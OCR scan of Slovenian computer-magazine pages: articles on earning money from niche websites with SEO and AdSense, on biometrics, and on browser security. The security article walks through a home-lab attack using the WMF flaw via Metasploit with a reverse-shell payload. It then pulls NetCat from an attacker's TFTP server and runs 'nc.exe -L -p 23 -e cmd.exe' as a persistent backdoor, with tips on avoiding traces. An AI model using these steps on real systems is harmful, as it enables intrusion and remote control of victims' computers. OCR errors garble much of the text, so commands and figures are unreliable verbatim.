ka v spletnih iskalnikih.

Pri opisu in naslovu je najpomembne;jsa dol-
¥ina. Predolge naslove iskalniki skraj$ajo in
tako del naslova izgubimo. Pri predolgem meta
opisu iskalniki vzamejo del vsebine s spletne
strani in izgubi se nadzor. V primeru predolgih
opisov in naslovov, kjer se kljuéni izrazi pre-
komerno ponavljajo, hitro zgubimo kako to¢-
ko in se znajdemo na seznamu »spamerskih«
spletnih mest.

V meta podatkih lahko nastavimo tudi
klju¢ne besede (meta keywords), vendar te,
zaradi mnogih zlorab, danes nimajo ve& take
vrednosti kot neko&. A tudi pri klju¢nih bese-
dah velja, da je manj ve&. Uporabite najvet 15
klju¢nih izrazov, lo€enih z vejicami.

Za vse slike, ki se pojavijo na spletnem me-

b

stu, je treba pre-
veriti, ali imajo za-
pisano alternativno
besedilo. Alternativno
besedilo je opis slike, ki
se prikazuje, ¢e ima uporabnik izklopljeno pri-
kazovanje slik v brskalniku. Racunalniski vid
e ni razvit do te mere, da bi racunalnik lahko
razbral vsebino s same slike, zato morajo pajki
zaupati alternativnemu opisu.

V optimiranje spada tudi definiranje naslo-
vov vsebine. V kodi HTML se naslovi vsebine
oznacujejo s HI-H7. H1 je najpomembnejsi
in naj bi bil tudi najve¢ji. Preko naslovnih
besedil v spletnih straneh lahko pajki najde-
jo pomembnejse besedilo. Ravno tako velja za
dele besedila, ki so oznaceni krepko (bold) ali
leZece (italic). Vsa besedila priredimo, da ima-
jo tu in tam kakno klju¢no besedo oznaceno
krepko.

Dobro deluje tudi, ¢e daljsa besedila razdeli-
mo v ved smiselnih delov, vsakega od delov pa
oplemenitimo s podnaslovom, ki vsebuje po-
membne klju¢ne besede.

Poleg vsega je treba biti pozoren na koli¢ino
klju¢nih besed na celotni strani. Teh mora biti
ravno prav, kajti e jih je preveg, bo imel iskal-
nik nago stran za »spamx, ¢e jih je premalo, pa
ne bomo dovolj vsebinsko relevantni. Preved
optimirano besedilo, katerih avtorji i§¢ejo pra-
vi odstotek ponavljajocih se klju¢nih besed,
kaj hitro postanejo uporabnikom neberljivo,
lahko pa se tudi zgodi, da izgubimo iskalnisko
uvrstitev, e iskalnik malenkost spremeni algo-
ritem in nas zazna kot spamerje. Vsekakor pa
je treba dr¥ati rdeo nit &ez vso stran, saj samo
tako lahko zagotovimo relevantnost glede na
klju¢ne besede.

Prirediti je treba tudi URL-naslove na stra-
ni, in sicer tako, da vsebujejo klju¢ne besede.
Velik del naloge pri tem opravi Ze domena.

Malo je treba prirediti nafo osnovo za iz-
gradnjo nisne strani — WordPress.. Vklopiti
moramo permanentne povezave in namestiti
dodatek za optimalne naslove (http://elastic-
dog.com/2004/09/optimal-title/). Smiselno se

je tudi prijaviti
v Google Sitemaps
(www.google.com/web-
masters/sitemaps/) in name-
stiti dodatek WordPress za njiho-
vo samodejno izdelavo.

VPIS V SPLETNE IMENIKE

Takoj po osnovnem optimiranju je treba pri-
dobiti referenéne povezave na svoje spletno
mesto. S temi povezavami predstavimo splet-
nim iskalnikom svoje spletno mesto in mu
hkrati povetujemo pomembnost. NajlaZji na-
&in pridobivanja teh referenénih povezav je z
vpisovanjem v spletne imenike.

Najpomembne;jsi spletni imenik za vpis nase
nise je DMOZ (www.dmoz.org/).

DMOZ je brezplagen za vse. Veliko spletnih
mest kopira ta spletni imenik in tako dobimo Se
dologeno §tevilo referenénih povezav na ta ra-
&un. Te sicer nimajo velike vrednoti, vendar je
»naravno, da ima stran vecje 3tevilo »slabih«
referenénih povezav in manje 3tevilo »kako-
vostnih«. To je Se zlasti pomembno pri Googlu,
kjer vse, kar ni »normalno«. ne deluje dobro.

DMOZ upravljajo prostovoljci, do potrditve
vpisa pa traja nekaj tednov. Lahko pa se tudi
zgodi, da imenik dologeno spletno stran zavr-
ne, vendar o tem ne obvestijo vpisovalca. Prav
tako je mozno, da se Cas treh tednov zavlece
na veliko vec¢. Gre za zelo problematicen vpis,
ki ga je kljub brezplatnosti razmeroma terko
uspesno opraviti.

Po vpisu v DMOZ je najbolje, da nadaljuje-
mo vpisovanje v druge brezplaéne imenike. V
internetu jih je malo morje, tako da dodatnih
ni tezko poiskati. Obstajajo pa tudi seznami z
opisi imenikov, in eden takih je Best Web Di-
rectories (www.best-web-directories.com/).

Dobro se je vpisati v priblizno 50 imenikov.
V imenike se vpisujemo pocasi in raznoliko,
ker noCemo izstopati. Najboljse si je vnaprej
napisati tri ali ve¢ kombinacij naslovov in opi-
sov strani, ki se jih potem vpisuje. Opravljamo
po deset do petnajst vpisov na dan.

Referen¢ne povezave postanejo vidne v
roku enega tedna. Najboljse jih je preverjati
na spletnem iskalniku MSN (http://search.
msn.com) z operatorjem linkdomain: (npr.
linkdomain:www.nasa-nisa.org). Ob vpisu tega
operatorja se bodo izpisale vse referen¢ne po-
vezave, ki kaZejo na izbrano domeno.
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Ko bo takih referenénih povezav ve& kot 10,
lahko za¢nemo pregledovati, ali je med rezul-
tati nade spletno mesto. Najprej bodo rezultati
vidni v iskalniku MSN. Ce delamo vse prav,
bo Google naslednji, najpozneje pa bomo v

iskalniku Yahoo!.

POSTAVITEV OGLASOV
GOOGLE ADSENSE

Google AdSense je oglasevalski sistem, ki deluje
po nacelu kontekstnega oglasevanja. To pomeni,
da se oglasi zelo prilagajajo vsebini spletne stra-
ni, na kateri so. Ker smo placani od klika na oglas,
je najbolje za nas, da imamo na strani ¢im draZje
oglase in da se zgodi &im ve¢ klikov. V tem delu
si bomo ogledali, kako se vkljuciti v sistem in po-
staviti oglase po naSem spletnem mestu.

Ena od strategij je, da oglase AdSense doda-
mo na spletno mesto takoj po izdelavi. To lah-
ko storimo, vendar je stran z oglasi hitro videti
kot spam. Ce spletno mesto deluje kot spam,
to pomeni teZje delo pri nabiranju referen¢nih
povezav. Priporocljivo je, da oglase AdSense
dodamo malenkost kasneje.

Za uspes$no vkljugitev v program Google
AdSense (www.google.com/adsense) je treba
imeti spletno mesto v enem od jezikov, ki so
podprti. Za ni¥no spletno mesto je najbolje, da
je v angles¢ini in z vpisom ne bo teZav.

Oglase lahko zatnemo na strani postavljati
takoj, ko Googlovo osebje pregleda spletno
mesto in potrdi vpis v AdSense.

Najvegji problem z Googlovimi oglasi je
ta, da moramo o njih, &e ho¢emo, da so zares
uspesni, razmisljati kot o delu vsebine. Ko to
storimo, imamo pa tako imenovano »spam
stran«. Torej tak§no stran, v kateri obiskovalci
ne logijo ve¢ vsebine od oglasov.

V AdSensus si lahko izberemo razli¢ne formate
oglasov, da jih lahko zalo#niki &¢im bolje vstavi-
mo na svoja spletna mesta in imamo &im boljse
razmerje med prikazi in kliki na oglase (CTR).
Dobra navodila o tem, kako postaviti besedilne
oglase, ima kar Google sam. Po mojih izkunjah
je sli¢ica postavitve oglasov &isto to¢na.

Toplejsa ko je
barva, veé bo
klikov na oglase
(veéji CTR) .

Kot je razvidno s slike, je sredis€e spletne strani
za opaznost oglasov najboljSe. Sem namre ve¢ina
obiskovalcev spletne strani najprej pogleda. Na3
namen je namret, da obiskovalEev pogled ujame-
mo na oglase. Priporo¢ljivo je tudi, da oglasi nima-
jo mejnih obrob in se tako $e bolje zlijejo z vsebino
spletnega mesta.

Smiselno je dodati blok povezav (link unit)

LINK
LINK
LINK
LINK

Smiselna postavitev oglasov na blogu.

B

:

B
E £3E322%% E

s Stirimi povezavami ob navigacijo in oglase
vedjega tipa pod objave. Dobro je $e¢ omeni-
ti, da od vseh vrst oglasov AdSense najbolje
delujeta najvedji, oznacen kot »336x280 Large
Rectangle« in pa v navigacijo vkomponiran
»link unit« s §tirimi povezavami. Res pa je
tudi, da velja pri teh oglasih pravilo »manj je
vec«. Dobro postavljen blok ali bloka oglasov
prisluZi(ta) ve¢ kot vpolno razprenih oglasov.

Zal je pri pridobivanju denarja iz programa
Google AdSense precej birokracije in ¢aka-
nja. Najprej ¢akamo na odobritev spletnega
mesta, kar je, roko na srce, razmeromao hitro
opravljeno. Nato ¢akamo na zasluZenih prvih
50 USD, kar spro%i v AdSensu postopek po-
giljanja PIN-3tevilke. V sistemu se pojavi rded
okencek, ki zatne opozarjati, da so placila za-
mrznjena, dokler ne vpidemo PIN-kode. Na

VL

niSarjenje z Googlovimi oglasi

Za opaznost oglasov

je najboljse sredisce
spletne strani, saj vecina
obiskovalcev najprej

pogleda tja.

preprost prepognjen kos kartonastega papirja s
Sestmestno Stevilko ¢akamo priblizno tri ted-
ne. Cek z denarjem nam Google poslije po za-
sluZenih 100 USD ob koncu meseca. Ko pa se
enkrat zadeva ustali in imamo redne mese¢ne
zasluzke nad 100 USD, pa lahko pri¢akujemo

placila vsak mesec.

KAKO »OBOGATETI«

Za zakljutek bi podal nekaj $tevilk. Pri ni-
Sarjenju se za uspeh 3teje Ze spletno mesto, ki
prinese dva do tri dolarje dnevno. Ce imamo
deset takih strani, se lahko 3tevilka na Goo-
glovem &eku giblje od Sesto pa do devetsto do-
larjev mese&no. Ce bi se lotili nidarjenja resno
in naredili eno stran na teden, pomeni, da bi
imeli v desetih tednih deset strani, v enem letu
pa priblifno petdeset strani. To pa lahko pri-
nese Ye kar zajeten mesedni zasluzek ...

To je vetinoma vse, kar zadeva dodaten za-
sluzek z nisarjenjem. Ce vas zanima 3e kaj veg,
morda izpeljave strategije na primerih, si lahko
to preberete tudi na naslovu http://ruph.sopca.
com. Pa veliko srece pri niSarjenju! W

TOSHIBA

Ce ne bi uporabili nasega znanja
pri tehnoloSko.dowvrsenih hitrifvviakih,

Tift d.0.0.
Trzaska 118
1000 Ljubljana

prilagodljive TOSHIBA resitve

t
f: 01 257 37 58
a:

01256 15 40

dobrodosli@tift.si




biometrija danes

Je ¢lovek |
premagan?

Pogledi industrije in akademije
na problematiko biometrije

so v razkoraku, pri diskusiji

pa nemalokrat pozabimo na
primerjavo s sposobnostjo
dloveka. Clovek $e zdale¢ ne
dosega Zelene 100-odstotne
tocnosti pri identifikaciji ali
verifikaciji

PiSe: Peter Peer
peter.peer@mojmikrossi

azlistimo pojme: Modalnosti biome-

trije so prstni odtis, Sarenica (iris),

obraz, e nastejemo le trenutno naj-

uspesnejSe (pol)avtomatske reSitve.
Sicer je seznam Se veliko daljdi, a prijemi na
podlagi govora, nacina gibanja, pisave, raz-
poreditve %l na obrazu, lastnosti uges ipd. za
industrijo v tem trenutku niso tako zanimive.
Morda delam krivico kateri izmed modalnosti,
a tako pad je. Skratka, zdaj vemo, da se pri bio-
metriji ukvarjamo z merjenjem biologkih last-
nosti ljudi, primerjavo teh lastnosti in s tem
verifikacijo ali identifikacijo. Verifikacija od-
govarja na vprasanje: »Ali je to res ta osebal,
identifikacija pa: »Kdo je ta oseba’«. Torej je
problem verifikacije na¢eloma laZji.

Medtem ko industrija pravi, naj raziskovalci
iz akademskih vod ne i§¢ejo novih modalno-
sti, temved se naj osredotocijo na glavne izpo-
stavljene tri ter jih izpopolnijo, se raziskoval-
ci spraSujemo, ali ni e ¢as za nove senzorje,
saj so trenutni v uporabi Ze 20 let, ter iskanje
novih modalnosti. Vsak ima po svoje seveda
prav, $e zlasti ¢e poznamo prioritete obeh vej:
Industrija potrebuje preverjene in u¢inkovite
refitve, saj lahko le tiste prinesejo denar, ta
pa je bistveno merilo uspesnosti podjetja. Cilj
akademije na drugi strani je seveda publicira-

34

nje in razpoznavnost. To sta namre¢ bistvena
dva kriterija pri rangiranju univerz v svetu:
objavljanje v priznanih znanstvenih revijah
z velikim vplivom ter $tevilo profesorjev na
ustanovi z Nobelovo nagrado. Nadalje velja,
da so temeljne raziskave objavljive, objave iz
industrijskih projektov pa najveckrat ne. Raz-
logov za to je ve¢. Med drugimi velja, da so
industrijske refitve manj znanstvene, vendar
delujote v realnem okolju; povezujejo ved
strok, pri tem pa je optimalnost integracije
nuja; izbolj$ava obstojedih reSitev pa za pod-
jetje pomeni konkuren&no prednost na trgu
in s tega vidika sploh ne Zelijo objaviti ozadja
svojih izboljsav. Razkorak torej obstaja, a prav
tako nuja po sodelovanju, saj le tako napredu-
jemo kot druzba. Kdaj se bomo tega zavedali
tudi v Sloveniji?

PROJEKT FRGC

Strokovnjaki s podro&ja biometrije so si edi-
ni, da daje 3arenica najzanesljivejSe rezultate,
prstni odtis ne zaostaja veliko, obrazi pa obe-
tajo zelo veliko. Postopke in izdelke v zadnjem
Casu redno testirajo neodvisne komisije. Tako
bo recimo v letu 2006 dal rezultate tudi projekt
FRGC (Face Recognition Grand Challenge;
www.frvt.org/FRGC/), kjer testirajo postopke
(ne celostnih komercialnih reSitev) za razpo-
znavanje obrazov. Pri tem projekt vsem zain-
teresiranim zagotavlja infrastrukturo za ume-

Trenutno najuspesnejse
resitve biometrije
so prepognavanje prstnih
odtisov, sarenice in obraza.

stitev postopkov v delovno shemo ter skupaj z
zbirko podatkov o obrazih, ki vsebuje 50.000
vnosov, omogo&a primerljivost rezultatov med
postopki. Rezultati uradno $e niso znani, ven-
dar so psihologi, ki tudi sodelujejo pri projektu,
naredili Se en zanimiv korak k njihovi pravilni
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interpretaciji. Osvetlitev je velik, e ne kar
najvedji problem samodejne obdelave slik, ra-
Cunalniskega vida. In osvetlitev dokazano dela
preglavice tudi ljudem. Torej je na mestu tudi
primerjava med samodejnim postopkom razpo-
znave obrazov in u¢inkovitostjo ¢loveka pri tej
nalogi. Test verifikacije so tako ponovili tudi
na ljudeh in prigli do presenetljivih rezultatov:
pri primerjavi teZje lo¢ljivih parov oseb so trije
postopki dosegli boljse rezultate kot ljudje, pri
enostavnih parih pa kar vsi! Torej, ¢lovek je
resni¢no premagan (pri dolo¢enih omejitvah,
na primer pri obdelavi frontalnih obrazov)!

Psihologi tudi ugotavljajo, da na primer var-
nostnik kljub svojim dolgoletnim izku$njam
gledanja obrazov ne more postati bolji. Razlog
za to naj bi bil u¢inek familiarnosti; ljudi, ki jih
ne poznas, te¥je prepoznas. Primer: ko mama
stopi z vlaka na natrpani Zelezniski postaji, jo
prepozna$ na 300 metrov, teta iz Amerike, ki
je nisi videl svoj %ivi dan drugace kot na sliki,
pa lahko stoji tudi blizu tebe, pa ne bo$ povsem
prepric¢an. Primer je najbr? prelahek, a rabi na-
menu, mar ne’!

Projekt FRVT (Face Recognition Vendor
Test; www.frvt.org/) naj bi kmalu dal %e tretje
rezultate o uspesnosti celostnih komercialnih

izdelkov.

DELOVANJE SISTEMA PRSTNIH
ODTISOV V STVARNOSTI

Ste se %e kdaj ob gledanju nanizanke Na me-
stu zlo¢ina (CSI) vpragali, ali forenziki s po-
mod&jo ratunalnikov res lahko tako hitro naj-

data). Ponujajo celovite resitve, in ne zgol;
programske opreme, torej tudi vso potrebno
infrastrukturo, procesne stre¥nike, pravzaprav
vso strojno opremo, poskrbijo za varovanje
informacij in podobno. Eden njihovih zadnjih
velikih projektov je bila namestitev sistema v
Srbiji, kjer 300 policistov opravlja svoje delo z
dlan&niki, prek katerih dnevno preverijo okoli
30.000 prstnih odtisov. Koliko prstnih odtisov
je to na minuto? Ni kaj, hitro. Pri tem mislim,
da gre za velinoma verifikacijske postopke.
Cena celotne resitve! 20 milijonov dolarjev.
Ne vem za vas, a meni se to ne zdi veliko. Po-
doben sistem imajo v Bosni. »Kaj pa v Slo-
veniji’«, ga vpraSam! Nasmeji se in pravi: »V

N

Postopek
verifikacije
preverja,

ali je oseba
prava,
identifikacija
pa ugotavlja,
kdo je
dolocene
oseba.

Najuspesnejse biometricne modalnosti: prstni odtis, Sarenica in obraz

dejo lastnika prstnega odtisa? Da, lahko.

No, pa si poglejmo nekaj zanimivih poda-
tkov. Pred kratkim sem se pogovarjal s pod-
predsednikom Biometri¢ne enote Motorole,
ki med drugim skrbi za tehnologijo prstnih
odtisov agencije FBI. Prvi sistem so pri FBI-ju
namestili Ze leta 1974, in to s kar 9 milijoni
vnosov. Danes imajo e 60 milijonov vnosov.
Sistem je zasnovan cevovodno, kjer vsak od
petih modulov zaporedno kr¢i $tevilo kandida-
tov, intenzivnost procesiranja pa se stopnjuje
(torej poveuje se procesni ¢as enega kandi-

Sloveniji nimate kriminala!«. Kljub temu pa
naj bi imeli sistem, ki pa ni veliko v uporabi.
Obljubi mi, da se bo pozanimal!

Pa se vrnimo $e malo k &asu. FBI po ve&ini
seveda dela identifikacijo, kot to vidimo pri
CSI. Eden od odgovornih ljudi za to podrocje
pri IBM-u meni, da performan&nost sistema
FBI pravzaprav ni znana, saj je toliko razli¢nih
faktorjev in mo#nosti apliciranja. Pri tem pove,
da FBI dobi rezultat v 24 urah. Glavni tehni¢ni
Clovek podjetja TBS, ki razvija sistem za 3D
prstne odtise in tudi sodeluje z FBI-jem, se z
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biometrija danes

njim ne strinja. Pravi, da v povpre&ju potre-
bujejo dve uri na kriminalca. Podpredsednik
Biometri¢ne enote Motorole pa pove pouéno
zgodbo: Ob prioritetni zahtevi se razbreme-
ni celoten sistem, vsi viri se dajo na voljo tej
zahtevi in lastnik prstnega odtisa je odkrit v
manj kot 5 minutah. Tako se je %e zgodilo, da
so policisti morilca ¢akali doma, Se preden se
je ta vrnil z mesta umora. Kaj je res? Presodite
sami! Absolutne resnice tako ni!

Pa $e malo po¥okajmo v Yerjavico. Nekate-
ri zelo (zelo zelo) priznani strokovnjaki s po-
dro&ja biometrike iz akademskih vod so kljub
vsemu prepriani, da so biometri¢ni sistemi
uporabni le pri majhni mnofZici subjektov, tam

okrog 2000. Napovedovanje prihodnosti raz-
voja je vedno nehvale?no, kljub temu pa se s
tem ne strinjam, saj nam Ze zgoraj omenjeni
sistem daje slutiti drugae. Dr%i tudi, da razli¢-
ne modalitete navadno napa¢no klasificirajo
razli¢ne primerke. Zato je danes zlivanje, fu-
zija modalitet na ve¢ nivojih zelo priljubljena
tema, tako v industriji kot v akademskih kro-
gih. In rezultati so ve¢ kot spodbudni!

Marsikaj sem pozabil napisati, a leta domov
je konec in s tem tudi ¢lanka. Morda je to ob-
ljuba za prihajajoce Stevilke? Bi vam bilo to
vied!H
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hekerske metode: varnost spletnega brskalnika in odjemalca

Preprostejsa uporaba —

vecje tveganje

Spletni brskalniki so na neki nacin internetni obraz. Vecina uporabnikov dojema internet ravno prek brskalnikov in
odjemalcev elektronske poste. Brskalniki so bistvo, zaradi katerega je internet postal uporabno in produktivno okolje
milijonov ljudi. Zaradi enostavne uporabe, ucinkovitosti in priljubljenosti spletnih brskalnikov in odjemalcev elektronske

poSte pa so postali tudi ena osrednjih tar¢ napadalcev.

PiSe: Tomaz Bratusa
tomaz.bratusa@mojmikro.si

sem nam je dobro znana teza, da se s pove€evanjem enostav-

nosti uporabe dologenega produkta poveluje tudi varnostno

tveganje. Ravno zaradi te teza, ki se je v praksi ¥e veckrat do-

kazala za pravilno, lahko brskalnike dojemamo kot element, ki
v nase informacijsko okolje vnasa dodatno mero tveganja.

TVEGANJA PRI UPORABI SPLETNIH BRSKALNIKOV

Napad na enega izmed priljubljenih brskalnikov (Internet Explorer,
Morzilla, Opera ...) napadalcu omogo&a zajem kar najsirSega spektra %r-
tev in tudi najvedji u¢inek z najmanjo mero vloZenega truda. Pomislite
samo, kaksna privla¢na tarca ste, e kot spletni brskalnik uporabljate In-
ternet Explorer s privzetimi nastavitvami, po moznosti celo katero izmed
starejsih razlitic. Ze samo krizarjenje po spletu je za tak ratunalnik po-
gubno v nekaj minutah, kaj 3ele, ko si uporabnik tak$nega sistema omisli
spletno nakupovanje in banénistvo. Slednje bi v tak§nem primeru lahko
enadili s samomorom.

Poglejmo, kaj bi si pod pojmoma varnost in zasebnost lahko predstav-
ljali. Varnost sestavljajo elementi ko so: zaupnost, celovitost in dostop-
nost; medtem ko na drugi strani zasebnost zajema predvsem izogibanje
neZelenemu razkrivanju informacij. Pomembnosti zasebnosti se pona-
vadi posameznik zave Sele takrat, ko jo izgubi, bodisi zaradi varnostnega
tveganja, kot je vdor v ra¢unalnigki sistem, ali zaradi napada na spletni
brskalnik, ki nemalokrat razkrije pomembne osebne podatke o uporab-
niku.

Strogo za namene igranja v domacem laboratoriju, da bomo spoznali cilje
napadalcev, si poglejmo eno od novejsih pomanjkljivosti operacijskih sistemov
Windows, ki ob vklju¢itvi spletnega brskalnika Internet Explorer napadalcu
omogota vdor in popolno kompromitacijo taréinega sistema.

Izkoris¢anje ranljivosti WMF

Omenjeni napad izrablja ranljivost WMF (Windows metafile) , ki
je prisotna v knjirnici GDI operacijskih sistemov, kot so Windows XP,
2003 in tudi prihajajo¢i Windows Vista. Izkoris¢evalna koda izrablja za
izviSitev arbitrarne kode tako imenovano funkcijo escape metafile, ki
jo izkoristi preko procedure SetAbortProc. Podrobnejsi opis problema
oz. ranljivosti lahko najdete na spletnem naslovu: www.securityfocus.
com/bid/16074.

Za prikaz napada bomo uporabili v prej$njih ¢lankih e predstavljeni
virtualni sistem VMware, na katerega bomo namestili Windows XP.
Napadalec bo v nafem primeru uporabil orodje, imenovano Metasploit
Framework, ki ga lahko dobite na spletnem naslovu www.metasploit.
com.

V prvi fazi napada mora napadalec seveda namestiti spletni stre¥nik
in privla¢no spletno stran, znotraj katere bo zajeta tudi izkoris¢eval-
na koda (v nagem primeru bo to samodejno naredilo orodje Metasploit
Framework), ki bo napadalcu omogogila vdor v racunalnik ni¢ hudega
slutecega obiskovalca spletne strani. To je tudi eden glavnih razlogov,
zakaj vam nenehno ponavljam, da brskalnika nikar ne uporabljajte med
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tem, ko ste v raunalnik prijavljeni kot administrator. V konkretnem
primeru napadalcu omogod&i vdor %e zgolj ogled slike na napadalcevi
spletni strani.

Spletni uporabniski
vmesnik orodja
Metasploit
Framework,

na katerem

bomo izbrali
izkorisc¢evalno
kodo: Windows
XP/2003/Vista
Metafile Escape()
SetAbortProc Code
Execution. ==

=] B [T

V orodju si bomo nato izbrali razpon operacijskih sistemov, na ka-
tere naj bo napad usmerjen. V nafem primeru bodo to kar vsi nove;jsi
Windows sistemi od Windows 2000 naprej. V naslednjem oknu nato
izberemo ustrezno breme (payload), ki bo v na§em primeru Win32_re-
verse. Omenjeno breme bo ob izvr§itvi izkori§€¢evalne kode omogoéilo
to, da nam bo Z#rtvin sistem ponudil dostop do ukazne vrstice, prek ka-
tere bomo lahko z napadom nadaljevali klasi¢no dostopanje do ukazne
lupine oz. cmd.exe.

Uporabniski
vmesnik orodja
Metasploit
Framework, v
katerem napadalec
nastavi vrata (v
nasem primeru
80), na katerih
bo poslusal
spletni streznik
s pripravljenim
napadom.

Ko taréa oz. #rtev
vstopi na napadalde-
vo spletno stran, se
ji v nafem primeru
na zaslonu prikaZe
vprasanje, ali si Zeli
ogledati ali shraniti
naslednjo sliko v for-
matu tiff (glej sliko).
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hekerske metode: varnost spletnega brskalnika in odjemalca

Ce v tem primeru ¥rtev izbere privzeto izbiro in odpre sliko, bo Win-
dows poskusal sliko na vsak na¢in odpreti, pri tem pa zaradi Ze omenje-
ne napake napadalcu omogo¢il vdor v sistem in izvr§evanje poljubnih
ukazov. Ce #rtev uporablja brskalnik Internet Explorer med tem, ko je v
sistem prijavljena kot administrator, potem ob vdoru napadalec pridobi
pravice na ravni administratorja.

Slika prikazuje
program Windows
Picture and Fax
Viewer, ko se ta
trudi odpreti sliko
na napadalcevi
zlonamerni spletni
strani.

LLETY * -

Na tem mestu se

napadalec seveda ne

T ——wn bo zadovoljil, temved

bo v sistem poskusal namestiti zadnja vrata tako, da bo lahko v prihod-

nje v sistem vstopal brez prevelikega truda. Ena izmed primitivnih oblik

namestitve zadnjih vrat je lahko namestitev orodja, kot je NetCat, ki ga
prikazuje naslednja slika.

B _|slx
[
=] O [CL
tetp.exe -1 192.160.1.100 get mo.oxe
D 21 -e e:\windsws)aystenad o, e
3 -a Homa. axe
Fisn
Session Commands:  Sesslon:Kill SBession:Brook  MotasploitzWebsite  Metasploit:Danate

Prensiam podse 5 sran 12701 . [=—=—"]
#istort] (@3 rretn ] varret sobt, . | B3] wrdem e, | Everwet [ Tebaet 1521 W v raet | G mpsier | B o SRR

Slika prikazuje prenos orodja NetCat v zrtvin sistem prek TFTP-
odjemalca in nato zagon ter povezovanje v sistem prek novo
odprtih zadnjih vrat in telneta.

Vsekakor vam tovrstnega igranja ne priporo¢am s sistemi, ki niso v
vasi lasti oz. z osebami, ki jih ne poznate. Zrtev lahko namre¢ vase po-
skuse povezovanja odkrije z dosovskim ukazom netstat -an. Ce #rtev v
ukazno vrstico vpiSe ukaz netstat —an, bo videla vse trenutne in tudi
pred kratkim vzpostavljene povezave z njenim sistemom.

Poleg tega lahko Zrtev uporabi orodje Upravitelj opravil programa
(Windows Task Manager), s katerim lahko odkrije nenavadne procese,
ki jih je v sistemu zagnal napadalec. Tovrstni procesi ostanejo namre¢
aktivni tudi po vaSem odhodu iz #rtvinega sistema. Ce seveda niste do-
bro prebrali prejinjih ¢lankov in za sabo temeljito po¢istili.

B windows Task Manager =10 x|
e DELO 7
DATOTEKAMI

Prenasanje datotek
v #rtvin sistem ali iz
njega je seveda po-
Cetje, ki je za napadalce Se zlasti zanimivo. Tovrstni prenosi napadalcu
omogo&ijo namestitev drugih hekerskih orodij, nedovoljenih vsebin,
posredno pa tudi razpoSiljanje spama in izvajanje napadov DDoS. V to-
vrstne namene napadalci najpogosteje uporabijo TFTP-odjemalec, ki ga

828

000:00  1,468K

vsebuje ve¢ina »varnih operacijskih sistemov« (Windows ni izjema!).
Napadalcu v teh primerih preostane samo $e namestitev TFTP-strezni-
ka v svoj ra¢unalnik in komunikacija z odjemalcem oz. taréo se lahko
zaéne. Previdnejsii napadalci v tak$nih primerih ponavadi uporabijo
TFTP-stre¥nik, ki je dale¢ stran od racunalnika, iz katerega izvajajo na-
pad, zato bo za vdor po vsej verjetnosti kriv nekdo drug.

Zelo uporaben TFTP-streznik za Windows je TFTPd32, ob zagonu
katerega bo vas sistem zael poslusati na vratih 69. TFTPd32 lahko naj-
dete na spletnem naslovu

http://tftpd32.jounin.net/.

V svojem sistemu torej za¥enemo stre?nik TFTPd32, pri tem pa smo z
#rtvinim sistemom $e vedno povezani prek ukazne vrstice (cmd.exe).

Uporabniski =0l ]
vmesnik TFTPd32 Curtet Diectoy [BD P T ——— B
Server interfaces [152163.24 7| ShowDi

Za namene prikaza
bomo z napadalceve-
ga sistema v Zrtvine-
ga prekopirali izvrsil-
no datoteko nc.exe

Titp Servet | Tip Ciert | DHCP server | Syslog server |

(NetCat). Tovrstne
postopke napadalci
ponavadi  uporab-

_|_| P P T

Setings | Hp |

ljajo pri namestitvi
trojancev, vohljacev,
rootkitov itd. Verjet-
no vam ni prevec pri srcu, da bi v bodo¢e ob morebitnem ponovnem
vstopu v #rtvin sistem morali skozi vse prej opisane procedure, vkljug-
no s privabljanjem Zrtve, naj obiste vaso spletno stran. Enostaven na-
&in za namestitev zadnjih vrat je torej ¢ omenjeno orodje NetCat,
ki ga najdete na spletni strani www.vulnwatch.org/netcat/. Ker smo
o NetCatu v preteklih ¢lankih %e veliko povedali, se v podrobnosti
njegovega delovanja tokrat ne bomo spuscali. Z namestitvijo NetCata
se bomo izognili morebitnim zapletom pri ponovnem vstopu v sistem,
ko bi #rtev morebiti Ze namestila ustrezne varnostne popravke ali po-
sodobila brskalnik.

Na tej tocki imamo torej v svojem sistemu nameséen TFTP-stre?nik,
pred tem pa smo uspe$no prodrli v tar¢in sistem. Na tej tocki boste opa-
zili, da se ukazna vrstica, prek katere dostopate do Zrtvinega sistema, ne
obnasa tako kot ponavadi in je precej neusmiljena za tipkarske napake.
Pri ponavljajo&ih se ukazih si lahko pomagate z ustvarjanjem enostav-
nih datotek .bat ali pa ukaze kopirate neposredno v ukazno vrstico.
Kopiranje ukazov je veliko bolj3a resitev, saj tako v Zrtvinem sistemu ne
pustate datotek .bat in s tem dodatnih sledov.

Zdaj bomo v svojem sistemu datoteko nc.exe (netcat) prekopirali kar
v imenik, v katerem je namescen streznik TFTPd32.

V letu 2005 izbran za najboljsi sistem
zZa pOSlOVnO 2a5Cito fameriska izdaja PC Magazine/

,f““% aAstarR0O
v

iNnternet

* VPN & Pozarni zid
* Zascita pred nezeleno e-posto

security

* AntiSpyware
* Antivirusna zascita =
« Zaséita pred vdori AT
* Nadzor nad brskanjem ll
) astaro = STEBRI
. prafarrad parcne Informacijske tehnologije d.o.0.

www.stebri.si
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hekerske metode: varnost spletnega brskalnika in odjemalca

Zdaj bomo NetCat prenesli z napadaléevega sistema v taréin sistem
tako, da bomo v ukazno vrstico vpisali: TFTP —i »IP naslov TFTPd32
streznika« GET nc.exe (IP-naslov stre?nika se napiSe brez narekova-
jev:).

61448 bytes/s

Uspesen prenos orodja NetCat iz napadalé¢evega v Zrtvin sistem.

Na tej tocki bomo v ukazno vrstico, prek katere smo povezani s taro,
vpisali ukaz: start nc.exe =L —p 23 —e cmd.exe, s Cimer bomo zagnali
orodje NetCat na #rtvini strani, s tem pa si bomo omogo¢ili vstop v
njen sistem prek povezave na TCP-prikljutek 23. S tem smo uspesno
ustvarili zadnja vrata v ¥rtvin sistem na nivoju administratorja, ker je
v naSem primeru #rtev brskalnik uporabljala med tem, ko je bila v sistem
prijavljena kot administrator..

Tako lahko re¢emo, da smo v celoti prevzeli nadzor nad #rtvinim si-
stemom. Napadalcu bi tako preostala samo $e namestitev orodja NetCat
v imenik Startup, s ¢imer bi dosegel vsakokratni vnoviéni zagon orodja
NetCat in s tem tudi vsakokratno odprtje zadnjih vrat. MoZnosti so prav-
zaprav neskonéne zato vas bom na tej to¢ki do naslednje Stevilke Mojega

......

Zapomnimo si: V paketu 7 »enostavno
uporabo« dobimo predvsem povecano
varnostno tveganje!

To se kaze predvsem v evoluciji spletnih brskalnikov, ki so v svojih
povojih omogocali zgolj prikazovanje HTML-kode in slikovnih elemen-
tov. Danes spletni brskalniki omogo&ajo vrsto aktivnosti med drugim:
izvajanje CGl-skriptov na strani spletnega stre?nika, izvajanje Javasc-
